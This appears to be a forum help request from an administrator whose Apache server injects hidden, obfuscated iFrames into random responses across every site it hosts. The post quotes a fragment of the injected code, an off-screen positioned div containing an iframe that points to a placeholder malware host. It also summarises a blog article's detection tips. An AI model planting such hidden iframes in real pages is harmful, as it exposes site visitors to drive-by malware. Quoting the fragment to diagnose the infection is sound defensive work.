We had a server that showed this type of obfuscated iFrame injection:

<style>.ncy8eh4 { position:absolute; left:-1228px; top:-1108px} </style> <div class="ndicy73jk"><iframe src="http://malware host/325364773.html

The injected code would change constantly with different URLs.

The iFrame wouldn't always show up, but it affected every site on the server and could affect any page - even a test text page like test.html.

Logs show no signs of unauthorized entry, passwords are secure, Apache is 2.2.21.

Since this got into the whole server, we're suspecting something with Apache, but can't figure out how it could be compromised in this manner.

It looks like others have had a similar problem. A breakdown is in detail here:
[blog.unmaskparasites.com ]

Some of the key points from the article:

We should be actually talking about infected server responses since the malicious code cannot be found in any website files.

It is pretty hard to detect this infection since only random server responses are affected.

If you check Apache logs, you can recognize tempered responses since their sizes are slightly bigger than typical response sizes for the same pages.

Any idea how this could happen or how to get rid of it?